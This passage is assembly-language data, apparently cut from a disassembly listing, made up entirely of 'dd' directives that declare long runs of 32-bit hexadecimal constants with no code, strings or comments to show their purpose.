		dd 0F5C739FFh, 36B7CB93h, 0B3824EC4h, 7D8FEF67h, 17C34457h
		dd 6B90A09h, 58B57306h,	0A8E7461Eh, 179E02A3h, 0C643D2A3h
		dd 8A5D4621h, 0BCF63127h, 929CB949h, 0EF1AE363h, 0A1BD618Dh
		dd 41191300h, 91DF3FC7h, 0DFF3C426h, 43AB992Bh,	74354D15h
		dd 13D2CE2Bh, 309B1582h, 538454B8h, 0AE831294h,	30DD66E6h
		dd 3243FB44h, 0E30E1951h, 0F564287Ch, 1270C6C6h, 2826FA7Eh
		dd 0D111A9CEh, 8C1D9C70h, 88474E8h, 42AC6E54h, 0D76BDC19h
		dd 0B00197A9h, 14EF0D27h, 817455E8h, 6FB85732h,	3ED0D517h
		dd 10936EBFh, 0A0D2D50Ch, 0A147782Bh, 0F4680077h, 0C378E723h
		dd 60FDC60Dh, 397AD0F7h, 527657FCh, 2650BD08h, 4FF55322h
		dd 62489C3Dh, 0A4D097C7h, 0D620C569h, 0BA635854h, 18097A1Ch
		dd 92B72BCCh, 57E6D9DEh, 8D0CF4F6h, 0AEAB6DE6h,	0E8B13B86h
		dd 0A0A1C6E2h, 0EE7C0A56h, 0C76C7F55h, 0E358EC37h, 0D614CE73h
		dd 2F3EDFBh, 0CC928F4Eh, 3DAAE800h, 857F4F54h, 0FBE56D46h
		dd 0A601B4D6h, 5A0BB904h, 2FBD6D04h, 0FF18F328h, 0E38C1B5Fh
		dd 0BCCEB78Bh, 2DA58E29h, 0D2864776h, 98C23584h, 465CADA0h
		dd 0BC07CB23h, 0EF7B3362h, 3F1D9087h, 20FDF4C6h, 0FB9081B2h
		dd 70AE1E7Eh, 0A61B9FF9h, 0EB07E42Fh, 76EB8BEEh, 14E36660h
		dd 984DC3ABh, 0D8625D61h, 0ED01921Fh, 0F96CA3A5h, 411B4AF0h
		dd 7179F743h, 0E252F2F0h, 25E5D9A0h, 0E96ECE79h, 9D6A46BEh
		dd 5E7A0B39h, 8C7E2C66h, 0A3B25FE2h, 6A779CEDh,	38CAC394h
		dd 0CA5BF915h, 44626F17h, 0C0A2DDD7h, 0CD0478E5h, 0B048C643h
		dd 0D33B1E4Fh, 0AB6FA836h, 491DCA26h, 75CE09E2h, 0DD1DF101h
		dd 0D79B811Ah, 0B36BB208h, 59F5BD32h, 0CCCFEA33h, 5C7E8EE9h
		dd 1CA3D4A8h, 0B7F1DE32h, 2BA48088h, 0E3EEA127h, 75ACE9EBh
		dd 0FF3DD61Bh, 0FC3AD032h, 299EFD80h, 0E73FDE7Bh, 56B4D855h
		dd 0E2D2B00Eh, 1DBDDF7Ch, 0B0F43A65h, 3EC7B6DEh, 0CD00AAE2h
		dd 1E4D729Fh, 5E278FDh,	0C7FD3C33h, 310544C6h, 91B210ACh
		dd 924E1A4Eh, 547E4E17h, 0B14C6EC1h, 388304B8h,	758ED2C2h
		dd 3D2B9021h, 0E10C32ECh, 94999014h, 0B2FA9B07h, 0DFADF19Dh
		dd 0FCBCA90Bh, 0AE6D2E31h, 5F157DF8h, 447C1DB9h, 398EA984h
		dd 0E4E84137h, 0FBE816BBh, 0E8214FBBh, 7E1D19D6h, 72E0811Fh
		dd 6BCB811Eh, 0B18FB0EFh, 9568C677h, 0BCF591C4h, 7BC48438h
		dd 0B11288Ah, 181924EDh, 53694692h, 356B4836h, 135421CFh
		dd 0EDFB13CEh, 0D47AB1E4h, 865C52CBh, 0D5BDC5A3h, 83B09237h
		dd 0DBCC9BAh, 5FD9B008h, 10A856DDh, 47F099F9h, 27B960D6h
		dd 26FE73EAh, 567C12B7h, 3E3D1C18h, 2928CA91h, 52B26076h
		dd 0B6BE2A15h, 0E6696B95h, 32CF6155h, 0E7A61D35h, 0AEE8B12Ah
		dd 0F7A2125Eh, 5D71C829h, 89CA7167h, 898B552Fh,	7B606F82h
		dd 0B924FCDh, 191C69B0h, 3E5907B7h, 0DF36F959h,	9B0D6C81h
		dd 94962405h, 999EC6CAh, 0A38C51DEh, 7D92BBACh,	2A559FBEh
		dd 869F35Eh, 58AD7667h,	0FB971FB2h, 0DEB451AFh,	0A8B5E682h
		dd 0DA67AB0Eh, 5D626F0Dh, 54D1A349h, 0ED483362h, 0DA6FF0ECh
		dd 0C7E1E71Fh, 751519E8h, 8CFE2629h, 0B83E66EFh, 8AD062FBh
		dd 7BF99068h, 8B1E59FCh, 1629E45Fh, 807F356Ch, 0E1DAD61Dh
		dd 0BBC65456h, 0D2243545h, 781403CAh, 83886717h, 23737A29h
		dd 36A2AF3Dh, 0B52B130Dh, 5B490B08h, 8D73FC71h,	680CD94Ah
		dd 0C1AFC5C1h, 73860C98h, 2F95B562h, 8019CF3Ch,	0D2DD7C0Dh
		dd 93AC5788h, 7F363h, 0F4D56EDFh, 4AE504B6h, 8AE10C61h
		dd 40204C8Bh, 48E3D0EDh, 3FCDABCBh, 119C7054h, 588C4446h
		dd 0BA21B7E5h, 0BD14D05Fh, 42B7A034h, 169D5F51h, 0F44A6637h
		dd 0A8D1B315h, 811CA93h, 0A2B6AEA7h, 0DAD1B421h, 6150F8E0h
		dd 3AA3ADA4h, 425BB76Dh, 988565C2h, 0E5ECECCFh,	4AB6C681h
		dd 430D9921h, 17F9E6B0h, 3D3DDACDh, 2DD68C11h, 0B896ACBFh
		dd 5CB37406h, 4219B5E9h, 63699FFAh, 39C195AEh, 0BA9769ABh
		dd 0C25C8E05h, 0C991E8A5h, 0E4E5EFC8h, 7A691E5Bh, 0D459F491h
		dd 165C0689h, 0D87189FFh, 0A7425E6Eh, 0BF84B387h, 0AB73C1E9h
		dd 809D32DEh, 0D076BC2Ah, 5B04223Ah, 0E7847A6Fh, 0BAB01CB4h
		dd 8E8DD38Ch, 0DF7BBAF7h, 485E8BFBh, 118F8C03h,	25E917ABh
		dd 934BB16Eh, 0CAD15563h, 2F482CA9h, 2034C081h,	0FF74B866h
		dd 2309543h, 7B3CB475h,	25A58AE1h, 102CAF05h, 0E6822CA8h
		dd 0C72FB5D3h, 15354A23h, 7B761A78h, 493F1300h,	46286C5Ch
		dd 74FD4B93h, 338C9169h, 0C438D92Dh, 32E84845h,	6D4287E9h
		dd 3364D202h, 7445EAC3h, 54FE2B4Ah, 606DAEA8h, 1E6174BBh
		dd 0F8C3959h, 186EF9C9h, 91D4CE39h, 0ADB20AD9h,	80E6854Dh
		dd 0B01DA7E8h, 79712219h, 7BC714BFh, 67D724D7h,	0AE012B3Bh
		dd 6EDF9487h, 85615E05h, 7E4091CDh, 30A56496h, 47FA478h
		dd 0D94943Ch, 763C8C6h,	6CB167EFh, 0FCAC09F1h, 9A99FC86h
		dd 0D74FFA1Dh, 734D8E0h, 0D78BA6DCh, 32476794h,	51191D67h
		dd 11D259F9h, 0B8A95DBBh, 8B7DF443h, 18E6E761h,	4F2124DBh
		dd 8BDBF535h, 0E693C059h, 6EAA82C0h, 4310F983h,	0ED2F53B6h
		dd 10CE2EBFh, 0FDD57BCCh, 0F4B80570h, 9930FBB1h, 0A6B5851Ah
		dd 0ED907665h, 34B22F1h, 0AA90B259h, 535C7EF3h,	8BA1D4F3h
		dd 0E49174A1h, 7C32EC7h, 4F8991C0h, 31658144h, 350CD038h
		dd 7355F5A3h, 77839285h, 0DAC55D5Eh, 3ED7FC9Eh,	15E61458h
		dd 2702845Fh, 707ACDAAh, 0B2749177h, 0DDE21D27h, 6D94251Ah
		dd 0BA83BE37h, 7A9D23CEh, 0BE9D0531h, 5305F2B3h, 30542D4Fh
		dd 0DF5EF654h, 0D2AD8360h, 0ED8F61F2h, 3F10F78Bh, 9A8AA315h
		dd 4BC658FAh, 6C244739h, 0EB55C879h, 0BC867C6Fh, 40B262B5h
		dd 87380C21h, 813EFD3Fh, 0EB0825BBh, 698C84E3h,	33DECD47h
		dd 33674385h, 3C48AA5h,	0A99CE4F2h, 259E2E8h, 832EB3BFh
		dd 0FCC005BCh, 67215632h, 0AF05EBB0h, 37240955h, 42FB1942h
		dd 20101FFBh, 0A8F844E0h, 733E6Dh, 6D18BD2Ah, 61B9035Dh
		dd 0C37D2294h, 0CF9EA119h, 0E7B97CC1h, 31DB7B59h, 8FB4C3AFh
		dd 608DE57Fh, 1639D4F7h, 380B513Dh, 0D0066EEDh,	0B53EB800h
		dd 0BDA31DE6h, 90F96D4h, 33EAA7ECh, 86D0B0D0h, 83C8A29Ch
		dd 0BCE0696h, 0D8B55F15h, 6CF651CBh, 0B303F0FCh, 62F03DCEh
		dd 75FF8CC7h, 16BF1169h, 0B2F63406h, 0F8F31584h, 6A3A6877h
		dd 0CF051798h, 0F6023A13h, 0BA1AF434h, 6F1BBE15h, 78BF7EBCh
		dd 1ABEC1E5h, 0ECDAF0CDh, 4F36DEFFh, 0D3B34512h, 2FA8ABF3h
		dd 0A8CBF828h, 0E5F9DA92h, 9C80EBFFh, 0D85F3BA2h, 7D65A110h
		dd 0F376F447h, 9E15E85Dh, 1A71B9E4h, 60BD906Dh,	79052C76h
		dd 1CEB2A2Bh, 8212F365h, 27C391C2h, 2A6AE593h, 22AE7DD4h
		dd 2E85B9CCh, 0D50E81Ah, 0A7599323h, 95573C29h,	9B900476h
		dd 0B47208CEh, 0C6831C86h, 0EFA14F38h, 0BE2088C0h, 63CBA16Ah
		dd 9E644499h, 0CB12AA2Eh, 0ED7804C9h, 1F44D3F9h, 3BF513E7h
		dd 0D1430AEBh, 358BC336h
		dd 0B0A88DF8h, 0ECF20150h, 0BF284661h, 85927230h, 81B8D358h
		dd 0DCE5283Ah, 0D1F4349Bh, 65F0237Ah, 0C7907C65h, 0CF86BB8Fh
		dd 2A2CD8Ah, 44F44050h,	89BAF58Bh, 0DB12A80Ah, 0F9A39723h
		dd 0F0BA268h, 94BF3A5Ch, 137CCA82h, 90172710h, 0BAD78CAh
		dd 93CB2CE3h, 2AC0BED8h, 1E28E33Ch, 77C6FEC4h, 0CB623FA6h
		dd 86F6FCB5h, 0DFC77984h, 6A37036Fh, 0A9EBCDC4h, 2161B047h
		dd 961A76BDh, 74C36AFh,	0AFD0309Eh, 34F1B6ECh, 0E7971DFAh
		dd 84828624h, 5A02B32Bh, 0A8716C88h, 75231771h,	0E6899B91h
		dd 6B4AA387h, 0F2851815h, 42F0C696h, 0B64E2ACFh, 0FD6FAD0h
		dd 0D1CF3A1Ch, 94664BC2h, 96990482h, 0D05438CEh, 53BA3427h
		dd 1E0F8C55h, 0A34937B4h, 5C58EB12h, 55F2ED3Ah,	0A9C8A342h
		dd 6FD0AB02h, 0D2643B5Bh, 8AE3E320h, 0A08C2CC5h, 0DDC3D8FAh
		dd 5B406F96h, 0DFF925AEh, 0A697DE73h, 0CFB9A62Bh, 88D473B9h
		dd 257246C8h, 0B374A613h, 0CDAE8E4Eh, 0D36C7479h, 65715569h
		dd 3687F0B3h, 0FE3A1EFDh, 0C33F91D9h, 0ED87BCE7h, 7819612Ch
		dd 4E1860A6h, 9D48E7A0h, 0FCD3BFE0h, 534D14F5h,	0B707823Ch
		dd 0E455A1F5h, 0B70CFBC3h, 1F918042h, 0F0149144h, 0E778FE20h
		dd 3C7CC8EFh, 0B11CE835h, 0A8AADE26h, 145C6788h, 0CF11218Ch
		dd 3D1CD1BAh, 30F6FCBDh, 193A9E06h, 377B897h, 0CFF41D6Eh
		dd 6E2EEAF3h, 0B0E27C3Bh, 7A79D7C2h, 8C8929C0h,	3392A3CBh
		dd 9EC2DC84h, 0B9708BABh, 0F68F7217h, 0FA29FDDDh, 6B9073E4h
		dd 4E3D112Dh, 0E4D792A2h, 8A960A2Ah, 0E04E9825h, 0A58042h
		dd 443FAD10h, 0C260C361h, 82D227FAh, 185B304Fh,	13D70EFh
		dd 63BC6ACh, 44C4D5CBh,	529522C0h, 90977197h, 5D306DA7h
		dd 5B079893h, 0A4C251EBh, 0DCDDC763h, 0C0B56F6Fh, 0FB62428Fh
		dd 0F46C60Ch, 5EA0D857h, 0BEA85E1Bh, 34A42409h,	0EBB40207h
		dd 6BAE0B30h, 0BC23FE0Eh, 7D9DB555h, 6FD0C3EFh,	0AB88B405h
		dd 0E8C6D73h, 5E9FC4DCh, 0E50F16D1h, 4042045h, 0D7FE737h
		dd 0F186C7EAh, 3650F306h, 0FEFDCFDAh, 6F89549Fh, 8796CD17h
		dd 0D1D43915h, 56738CB9h, 54C68971h, 5C57C0AFh,	3C7B494Dh
		dd 7D1FDA9Eh, 2A204AADh, 96FEB68Ch, 3EA7D120h, 6671E629h
		dd 0A19ABB6Bh, 0D1DC8747h, 0AA0FEF6Ah, 9495A5F9h, 0FC295784h
		dd 0EBB7A9B5h, 890053DBh, 26EC90B3h, 0D5F751E3h, 0B96B2E29h
		dd 7A52BBB3h, 105600B3h, 29DA7421h, 14D8D5BDh, 956B3C9Ch
		dd 5D11AABCh, 0D46D6C03h, 0FDF136F6h, 1A3BDD2h,	0C824DAB7h
		dd 0B498E454h, 705644CAh, 0DFC22A36h, 0C62D4BDDh, 0E40CD313h
		dd 0C5AD21EEh, 8128153Ch, 5B1D0506h, 1D2C29D2h,	42163429h
		dd 76363A0h, 0E981CCF5h, 3B88C463h, 9FBA31ABh, 0C8991712h
		dd 4F64D0h, 0C4137CBBh,	0E00F6859h, 0AFA50B40h,	12F91071h
		dd 0DB63F1E7h, 0B21CCC45h, 16A83683h, 96443137h, 3C25EAE4h
		dd 1184A313h, 0DB808AEDh, 5F1E6C64h, 4BA932B1h,	5EB9F713h
		dd 23E86672h, 0AB4FE8CCh, 0B508C50Eh, 0EC816FFFh, 203035DCh
		dd 0F6CB1D35h, 0E1133A3Ah, 0AFA7DF47h, 5B50E6DFh, 0D4A7AC1Dh
		dd 719ADDABh, 7D5E293Ah, 20B7A78Ah, 0DA49B6E4h,	234DA4h
		dd 6EBADF7Bh, 38AD4870h, 0DE25DB00h, 0E9074D14h, 6C46848Dh
		dd 0CC979EFDh, 0A1830284h, 6ED40597h, 0A2F9EDC8h, 0AEEF5FC7h
		dd 0D3DBD498h, 25D40FACh, 6E766273h, 26418107h,	5E5CB25Dh
		dd 0AAF75AD2h, 7487C71h, 0A3ACF51Ah, 4CFB8256h,	0E271558Fh
		dd 0F7857541h, 2ACF1186h, 99A556Bh, 0D98867F7h,	738B35B5h
		dd 86304B95h, 867DFC06h, 174843C2h, 5080B55Eh, 663757C7h
		dd 19E4D97Ah, 5116FF04h, 0DA231D3Ah, 3444D702h,	44AE373Fh
		dd 27D16483h, 9497BEA2h, 1DAAFE21h, 80D61C65h, 48ED4431h
		dd 536358ADh, 858005A9h, 0FF5AF9E7h, 2AA3F59Ah,	73A09C88h
		dd 0A83FC91Dh, 0EE717F98h, 31698223h, 1E98B504h, 92959CB9h
		dd 0C892CA05h, 39F52698h, 0ED709533h, 0B4A3E17h, 0B4373DCEh
		dd 4787CD4Dh, 31338D1Fh, 83FD8D1Eh, 6BA002F2h, 0D31DE99Ch
		dd 12F40FB8h, 0C2EF2341h, 72ED91ECh, 55B2D504h,	4FA1C43Ch
		dd 0FD994D30h, 0A42D546Bh, 85EC5DB7h, 0D21C94F6h, 39C4126h
		dd 0B328CB11h, 8A8D823Fh, 34FD35B2h, 0B779BD4Fh, 86F3AB69h
		dd 54D5338Ah, 0B407FFFFh, 7CB3B2A3h, 51F616CCh,	9D4CAE0h
		dd 377D2F52h, 0D297AD45h, 0FF3D0D94h, 0F79B47Bh, 32E753A4h
		dd 0C9022E9Ch, 0CF30C680h, 0B71FDF96h, 7FCC60CFh, 1BEFA816h
		dd 0DE839094h, 1EDEF599h, 0F4EABC63h, 0B18A4884h, 0D22F99E0h
		dd 53ADDBF7h, 39563281h, 0CBADDB6Fh, 95083663h,	13E224A4h
		dd 6BB6D58Eh, 5F5FE6E2h, 0A69DC433h, 70FB968h, 8AA120h
		dd 98F319EFh, 0B5D455D1h, 0CA4E4147h, 0C3CFD019h, 90A1D739h
		dd 18DCF353h, 6B858C34h, 0EA7550DCh, 7E52295Ch,	0B95CD4BAh
		dd 48FC9D1Dh, 0ED15CEF2h, 997A6C7Ah, 5E7AE38Ah,	8B605DF4h
		dd 2DB665AEh, 4BA0608Bh, 5351E3A0h, 1424E443h, 772EC641h
		dd 6709CC10h, 413936A8h, 0A877720Bh, 0EEDEB51Ah, 0E7756165h
		dd 0B2B92C72h, 1F1DEA03h, 0FA4A0633h, 8CAA9268h, 9762899Ch
		dd 0B61CE17Ch, 21081E5Ch, 387A064Fh, 84D7265Dh,	2884AC15h
		dd 9B957351h, 307508C8h, 0C73EEC77h, 0AAB06EE5h, 478570A5h
		dd 537404D0h, 5AB7C16Ah, 67D1EE47h, 0F49FAC58h,	0C34A5B2Ch
		dd 0F864990Fh, 9612654Ah, 1EBF3863h, 902CB8DAh,	0D8F6BDA6h
		dd 31CA98B8h, 0A5AE2F82h, 75E0291Ah, 531B8282h,	7E29520Dh
		dd 385B853Bh, 5991E024h, 826CD54Ch, 0A9427675h,	46706240h
		dd 0C439030Bh, 0EEF64858h, 0B32FFF89h, 619FC2CEh, 0EEFDC668h
		dd 0F88F3B77h, 1CA8F3E8h, 8A8C48EBh, 7E6C66BDh,	6F72506h
		dd 220C7242h, 1552D1E8h, 3F9F2F9Eh, 5F404FDAh, 4451553Fh
		dd 33FF7561h, 3D88AA60h, 0D698BC8Fh, 0EC37912Dh, 3B3B9BB6h
		dd 6FBE9291h, 91BF43D6h, 0AB577B63h, 909E9AADh,	0FB56AEC6h
		dd 0A2283A0Fh, 5390D26Dh, 0ECEAC71Bh, 5A7BCB84h, 0F8B1B8FCh
		dd 4AD4C2D1h, 0B9DA6B5Bh, 8C0A4A19h, 0D5814FCEh, 0A4FE5109h
		dd 0C0D39FD2h, 1C936A33h, 9445FF14h, 0CECBD3F2h, 3CE976F8h
		dd 5B382548h, 0B37094F1h, 908AFEC0h, 29921713h,	7F81D686h
		dd 0F2EB231Bh, 0D414C064h, 5CB9FA3Dh, 13BBCD64h, 0C96C74EDh
		dd 5D498397h, 3704775Ah, 0DCE3867h, 0FC417EA7h,	0C3110FF7h
		dd 0D81A2BCFh, 0BC98F765h, 0BCDEBC1Ah, 0F36337B8h, 0CCB6218Fh
		dd 5E867FA1h, 0F69AA491h, 93C5FF17h, 0F1CCAF90h, 0C2FD0744h
		dd 6637D881h, 503F9971h, 4CD6B37Ah, 0A3336A45h,	0DB4F956h
		dd 4AE04E86h, 0FA7EC3A5h, 797AC216h, 0AFE72138h, 8F10380Dh
		dd 0A675AE71h, 3A657428h, 0A2C0DF8h, 3FEE40C5h,	321A8D5Bh
		dd 13DD3A4Fh, 7A8B7CCCh, 0F8B5213h, 19308DE1h, 73A9CB5Eh
		dd 0D0095C3Ch, 0AABD09F6h, 816455F8h, 773EDCAFh, 984C9275h
		dd 0F968FF77h, 0FF1EFB2h, 0A3048C3Bh, 2E155E11h, 0F1E25D68h
		dd 8C7BFBC5h, 3753944h,	0C08E2EDh, 0FC5CA23Ch, 77944430h
		dd 9E55BDCFh, 0CC1AD588h, 0E60F166h, 53D02DB4h,	0E5BB30DEh
		dd 0F978EF27h, 2EDD138Eh, 0D61C2EBAh, 99CBA747h, 9D2642A7h
		dd 0B00C3FC6h, 72182186h, 0D9A5104Bh, 0D449478h, 0A2D37E20h
		dd 0DEB6120h, 58956024h, 0F0334676h, 0C4F746CFh, 0C5C0A40Ch
		dd 2451BE19h, 0A1D55858h, 29B30813h, 472070Ch, 0BC372C64h
		dd 0C16914FCh, 841F90A6h
		dd 83053303h, 9103C525h, 6A9CDC0Bh, 0AB08C457h,	67EB5DD6h
		dd 5931E763h, 0DCD26264h, 6AE56783h, 0A4EBFF3Fh, 85043B16h
		dd 628E8555h, 50B9EA7Fh, 8737B55Fh, 0A38A6D77h,	8DB1A297h
		dd 0CD73C3E7h, 20D57B4Bh, 529035EBh, 606BC485h,	0E4E49749h
		dd 0CC3BDDFAh, 0E68DE70h, 12E80C30h, 12EE5679h,	50B03C00h
		dd 8E7C0FDDh, 5CC066EAh, 20793E2Dh, 1464E383h, 7F78BA68h
		dd 0A50E6DBEh, 6724498Bh, 9C155411h, 7C3C227h, 53AE70B7h
		dd 7351029h, 1A686565h,	6D4CE58Eh, 65693778h, 3A1A019Eh
		dd 6E6FB5D8h, 0AC05EEBFh, 0E8BAB03Fh, 0EA017221h, 98E3078h
		dd 3C603B38h, 0A7CB3C6Dh, 0A6A7B9F9h, 0A70B9D90h, 111C9D7Eh
		dd 1F29670Fh, 4E16B21Fh, 60645E18h, 0C537AFDh, 0CF176966h
		dd 1FB4BC70h, 47BDFF28h, 78C3E0E0h, 7C3AE9D4h, 0E034B05Fh
		dd 1C56A6B6h, 80395CC3h, 1C9B63B7h, 0AF60B79Dh,	647A0ADCh
		dd 0B867CD2Ch, 82E748BBh, 0CB778380h, 4EC9F6AAh, 319E6DA3h
		dd 599C12h, 0B788E9D8h,	0ACFB5D8Bh, 71F4A0D7h, 5F236331h
		dd 4FB89403h, 4ABD1FEFh, 108C7064h, 19565550h, 2A68735Eh
		dd 78C24A35h, 0DA329C13h, 0C0405DBDh, 948D3DB5h, 86212EC6h
		dd 1FE2F2B2h, 0D8511F7Fh, 0F4D4CE38h, 2EB08DDFh, 59195680h
		dd 69EF62F5h, 76030E14h, 2A5B4074h, 7680DC45h, 15999E69h
		dd 0E866EE0Ah, 0F29BE3C6h, 0E088E3D3h, 0A39FBC27h, 0D32250D3h
		dd 9122B96Dh, 3E24C176h, 0A3375E6Ch, 2237796h, 0A8B96856h
		dd 990577A0h, 6310F31Ch, 8B35A73Ah, 0F39BEF3Ch,	9D19B92Eh
		dd 9DB5884Eh, 4F26201Ch, 10BFF262h, 0DDA73A26h,	4A6DF306h
		dd 4958EBB8h, 68B80567h, 4A7D9D5Ah, 6FEBF7FCh, 0F3385B32h
		dd 443EB8D6h, 4242D066h, 8AC0BF80h, 80BAB785h, 0E91314D3h
		dd 35F0229Fh, 70250B2h,	0C63AE6E1h, 9C7247h, 0B4FCB111h
		dd 42BDB9A1h, 603D16B9h, 0BD32799Eh, 0EDF13C9Dh, 15B9686Eh
		dd 41EC57FDh, 642BCFA6h, 0CE5C411Fh, 0EAC8D3B9h, 0C0D5CB5Dh
		dd 86D4885Dh, 5DD66EE0h, 2FFD1375h, 31D3748Ch, 0C1C935DAh
		dd 3417C7AFh, 0F57DEEACh, 962DA4F3h, 0F3F31026h, 617826DCh
		dd 0F3C279CCh, 924A2EF2h, 23C4F1DEh, 7FFD45FAh,	18B7A29Dh
		dd 9475E42Ah, 0B5352C65h, 0D0F7F353h, 0D74B7B83h, 6D0C27BEh
		dd 0CB0CFFh, 0B5BA921Bh, 70BBCC87h, 0E0DB6512h,	34E38E67h
		dd 84B9EC9h, 0B637D3EFh, 1CDDBDEAh, 0CB5A11D3h,	0B7F4DAA1h
		dd 0AE196E2Fh, 0FE4266FBh, 7E28DEE4h, 0DD00E02Ch, 221B1892h
		dd 52AAF191h, 590541B9h, 0CA45D95Ah, 30276C96h,	21931E34h
		dd 0A0C9D009h, 0FD3EAB00h, 0A6910964h, 0F0E3D961h, 8884853Ch
		dd 0C07A1DA7h, 0CE698EF0h, 8C4BA956h, 0C587B682h, 0C9A9C471h
		dd 48D64744h, 0C49770C0h, 3FA21441h, 69D8FB72h,	0D8E9C780h
		dd 470F7EC0h, 0C231E1B8h, 766CF1C8h, 0F82DE6B1h, 0B3B27E31h
		dd 78536FC4h, 4E7ABB22h, 6372E9C4h, 743C5A1Ah, 335222C0h
		dd 0B0405806h, 25FAE3E8h, 12BE5CDFh, 9FECD199h,	2C170726h
		dd 0C81D18D6h, 3D348E9Ch, 0C9DECA0Dh, 943E03E0h, 457DD182h
		dd 0DBB623D1h, 1116FC74h, 0C824D29Fh, 6A9001CBh, 0C88D3A45h
		dd 608FC22Bh, 17E409BEh, 59833522h, 0C99A455h, 0A6FE5414h
		dd 0ED5447E2h, 546102A6h, 0E88CA887h, 0A67DE97Ch, 800EC4F4h
		dd 3CEE11BBh, 35A3CE20h, 0CA37D075h, 79ACD92Dh,	0B6147AD9h
		dd 0EAA936F5h, 8C3E5FCEh, 9755EB6Bh, 2E39B1DDh,	4490A6FCh
		dd 0E41BAC99h, 1EF8D3C9h, 2A27F793h, 0B48B0E33h, 0E0232898h
		dd 7418A6DCh, 3F384EFAh, 2A059EDAh, 0F885FBF6h,	0A35A7A2Fh
		dd 52B86E88h, 0CC4C390Ch, 33C46BCBh, 9EBA7810h,	0C16B08A6h
		dd 72C9066Bh, 0C8567EF6h, 0A6B6DD69h, 0BC693933h, 567FEC19h
		dd 76302905h, 0CEAB4A2h, 0CBEA0F1Ch, 0F3337D61h, 0CAC6602Fh
		dd 3E458076h, 0B59368ABh, 0AF089A70h, 66C55461h, 46E9D052h
		dd 39E9C129h, 3586030Ch, 11A47C9Ch, 0A251C620h,	0EDD051F1h
		dd 5266AF5Ch, 2E4EA6Ch,	4C5C39AFh, 0C9E0C6D8h, 0C8B77382h
		dd 68C342B5h, 0A4CBCEAFh, 0CA235B31h, 4573E0F7h, 37D9F948h
		dd 0FB9231Dh, 9BFAD393h, 0A5FC87EFh, 0F265D542h, 4483DF73h
		dd 0D78B0FE4h, 172A2A9Ah, 4619F8B6h, 46066A6h, 5B6D0C45h
		dd 1700CEB5h, 0DD86002Eh, 0C09F0762h, 0DD6F3FCh, 0B3F45ACEh
		dd 0BEF3B903h, 54ADB0AFh, 6D8AADDFh, 74229553h,	6172DA9Bh
		dd 2350E987h, 7F9F8614h, 0F8711A06h, 0F465487h,	0B6D94737h
		dd 2D6C1E35h, 0B5EE3AFFh, 0EB661C6Fh, 9BA09671h, 0E89235B5h
		dd 82C0FEC4h, 34C047E4h, 0A6CF62F4h, 0B4FE2983h, 0C059AFD2h
		dd 0D577C97Ch, 965FF2FEh, 0F7759397h, 95896B2Ch, 9E0B82AAh
		dd 71CB9A9Ch, 92B9B958h, 78C26090h, 3302B249h, 843DBF44h
		dd 69214349h, 33D5853h,	0C0B6275Ch, 6AD76C0Eh, 0DD213C3Ch
		dd 87C963EEh, 5B8E91F6h, 0E6328E18h, 15A947Ah, 92787F9Fh
		dd 8F54B89Fh, 105CF4BBh, 1D626E65h, 2D6CEB67h, 29FE451Ch
		dd 34863687h, 5DF42C44h, 33F10B97h, 0D816CDBBh,	207F2CE5h
		dd 0A8FFB8B9h, 4A6382F4h, 0EF82EB4Fh, 0B82321D9h, 0B903E362h
		dd 0C43755E8h, 22F95743h, 12DA23Ah, 0FEA28757h,	0C03F896Eh
		dd 5C7A189Ah, 7319EAAh,	89017B09h, 375F0C16h, 0F586D78Bh
		dd 465E2146h, 8583606Bh, 0DD54604Ch, 446D430Ah,	0F79625ECh
		dd 0A44B01C1h, 0AC8E6430h, 56FC0270h, 6F30ACDAh, 6D0123F7h
		dd 196232C5h, 56E744E9h, 0F15D1EB0h, 460C3234h,	7971F3FCh
		dd 0AB78EFD2h, 4A21A04Ah, 77AE357Ah, 3BE9BBA3h,	0A6A712ADh
		dd 0C0E46F7Fh, 0E542C29Fh, 656C87B4h, 64CF0854h, 69E79B24h
		dd 0F91FFE19h, 89AF81ADh, 6C945656h, 0E279E92Ah, 6DF706E4h
		dd 5A2A1CBCh, 0E8806C1Eh, 0AD5E3C92h, 5EC08D7h,	96F3E09h
		dd 0E30D8F38h, 9C1DFE78h, 6D66AD97h, 20AF3003h,	0D3EA6127h
		dd 58FD0DA8h, 4ED1B807h, 38F80F69h, 28F18D49h, 3D683155h
		dd 76188F9Fh, 7AA4C4D0h, 0C35B7F16h, 7841192Ch,	54563659h
		dd 9870997Dh, 2886A5DCh, 6ECE210Dh, 8F72188Fh, 0CD4D1FFEh
		dd 0B1792A21h, 764F7FA8h, 4A24C35Eh, 0F05BB2C0h, 4861F0B6h
		dd 5A104B00h, 48DE2CF8h, 96D4B78Eh, 0A26A81Bh, 804109C8h
		dd 49473954h, 6B1873F3h, 0C229B546h, 3DDA33ECh,	77876364h
		dd 2ADE75A9h, 573BC86Fh, 0B5872306h, 0CB035496h, 0DD36E126h
		dd 0AC9F298Ch, 1C266AC2h, 4F0A53h, 99A00C17h, 7ACB8800h
		dd 4C454DA1h, 49C6B46Bh, 55DD7B03h, 41DCB521h, 9729020Eh
		dd 66E99157h, 9F134121h, 4A57E8DCh, 0C7BFB2C9h,	44DB3A28h
		dd 0C407EB2Eh, 9D997F47h, 0F14F065Ah, 63F9F697h, 0A2741DE4h
		dd 5E99259Ah, 6C1166DFh, 1420E541h, 0F35ED103h,	2CFFDB9Fh
		dd 2F010A90h, 9ADC622Fh, 6912C8DEh, 4B0EFAF3h, 0C85BC65Fh
		dd 0D1A15096h, 9FA70B92h, 0AA169C31h, 0FE0B8D25h, 0DA41A280h
		dd 6BC0BFC2h, 3052E956h, 90D414F4h, 90B65267h, 785E4805h
		dd 6C49ACDBh, 751EB168h, 0D879ADC5h, 7493B178h,	0E106CF0Fh
		dd 450EBD67h, 4B033F82h, 0C68D0002h, 0B6DB73ECh, 84B5E6AEh
		dd 7A1B85D6h, 0DE3FFFBFh, 407859D0h, 0BA92E4A0h, 0A108A1CEh
		dd 0CB30BB60h, 52DA0349h, 59715AB3h, 8491D4EDh,	0B4F1E2CAh
		dd 6D2DB3Bh, 4E3C65CEh,	0C2F0C96Ch, 1695AB2Dh, 9BBC2FF3h
		dd 5D8F2FA4h, 6CC7D55Bh, 7D487960h, 8673D65Fh, 706A6694h
		dd 27E63DBCh, 0B8EA764Eh
		dd 0CD24886Fh, 0EA5752A2h, 0CE993548h, 2CD9B8A6h, 0B39D0C40h
		dd 0AB5C6E0Dh, 1415397h, 844EE62Dh, 3F997AEEh, 280CC012h
		dd 4C342F34h, 6FA5AA06h, 61C10497h, 0EFB0CC53h,	2329B815h
		dd 58097019h, 84B52CF1h, 76D46E3Eh, 0FE2633B7h,	0E0C7BE67h
